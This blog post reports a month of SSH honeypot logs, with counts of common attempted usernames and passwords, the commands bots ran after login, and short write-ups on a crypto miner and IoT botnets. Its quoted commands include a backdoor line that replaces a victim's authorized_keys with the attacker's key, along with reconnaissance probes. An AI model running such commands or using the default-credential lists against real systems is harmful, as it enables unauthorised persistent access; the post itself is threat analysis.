What You Get After Running an SSH Honeypot for 30 Days

What is a honeypot?

A honeypot detects and records attacks when an attacker tries to break into a system.

The honeypot we will discuss here is an SSH honeypot.

Environment

OS : Ubuntu 24 . 04 LTS x 86 _ 64

Kernel : 6 . 8 . 0 - 31 -generic

cat X . log | grep - c "login attempt"

11599

There were a total of 11,599 login attempts. Divided by 30 days, this means an average of 386 login attempts per day.

Used Usernames

cat X.log | grep -a "login attempt" | awk '{print $5}' | awk -F "'" '{print $2}' | sort | uniq -c | sort -nr | head

8181 root

977 345gs5662d34

359 admin

198 pi

105 0

71 ubuntu

51 ubnt

46 support

37 user

30 oracle

As expected, there are many attacks that target customary and default usernames.

For the 345gs5662d34 user, according to the Aalborg University of Denmark Research this could be the default credential for a Polycom CX600 IP telephone

Check it here :

SweetCam: an IP Camera Honeypot

Passwords

cat X.log | grep -a "login attempt" | awk '{print $ 5 }' | awk -F "'" '{print $ 4 }' | sort | uniq -c | sort -nr | head

977 345 gs 5662 d 34

967 3245 gs 5662 d 34

246 admin

239 123456

208 password

155 0

88 root

75 raspberry

73 123

66 raspberryraspberry 993311

Once again, the same as the default username for Polycom CX600 IP telephone

Commands executed after login

cat X.log | grep -a "CMD" | awk -F 'CMD: ' '{print $2}' | sort | uniq -c | sort -nr

6775 echo -e "\x6F\x6B"

1016 cd ~; chattr -ia .ssh; lockr -ia .ssh

1016 cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr" >>.ssh /authorized_keys && chmod -R go= ~/ .ssh && cd ~

320 uname -s -v -n -r -m

112 . /oinasf; dd if=/ proc /self/ exe bs= 22 count= 1 || while read i; do echo $i ; done < /proc/ self /exe || cat / proc /self/ exe;

87 uname -a

29 ps | grep '[Mm]iner'

29 ps -ef | grep '[Mm]iner'

29 ls -la /dev/ ttyGSM* /dev/ ttyUSB-mod* /var/ spool /sms/ * /var/ log /smsd.log / etc /smsd.conf* /u sr /bin/ qmuxd /var/ qmux_connect_socket /etc/ config /simman / dev /modem* / var /config/ sms/*

29 ifconfig

29 echo Hi | cat -n

29 cat /proc/ cpuinfo

29 /ip cloud print

23 whoami

23 which ls

23 w

23 uname -m

23 uname

23 top

23 lscpu | grep Model

23 ls -lh $(which ls)

23 free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

23 df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

23 crontab -l

23 cat /proc/ cpuinfo | grep name | wc -l

23 cat /proc/ cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

23 cat /proc/ cpuinfo | grep model | grep name | wc -l

・・・

Now the interesting part starts

The oinasf script

The execution of a mysterious script, ./oinasf , followed by attempts to read and display the system’s executable content, indicates a probing strategy for vulnerabilities or valuable information.

The use of /ip cloud print suggests that bots target MikroTik routers to access or disrupt cloud-based services, while uname -s -m provides them with essential details about the operating system and machine architecture, valuable for crafting further actions tailored to the system’s specifics.

In conclusion, these commands represent a clear strategy to infiltrate, assess, and establish control over targeted systems.

They emphasize the bot’s preference for direct manipulation and sustained access highlighting the critical need for robust defenses against such common yet potentially devastating tactics.

The mdrfckr crypto miner

This miner would simply create a cron job that would delete everything on the .ssh folder and add a single ssh key and lock other users out.

After that it would kill other miners if they exist and just have the open field.

You can check this repo of someone who already got hacked and the miner was used on his server : Dump of the crypto-miner that got installed on my system - Github

The MIPS malware

Probably another MIPS (Multiprocessor without Interlocked Pipeline Stages) architecture malware, targeting routers and IoT devices.

Here is a good read and analysis of the behaviour of a MIPS Malware :

Analyzing a Backdoor/Bot for the MIPS Platform

The Sakura.sh Script

This script is part of the Gafgyt Malware.

Gafgyt, also known as BASHLITE, is a botnet affecting Internet of Things (IoT) devices and Linux-based systems. The malware aims to compromise and gain control of these devices, often by exploiting weak or default passwords, as well as known vulnerabilities. Gafgyt has been around since 2014 and has evolved into multiple variants, each with its own set of features and capabilities, including the ability to launch distributed denial of service (DDoS) attacks.

Here is A Detailed Analysis of the Gafgyt Malware Targeting IoT Devices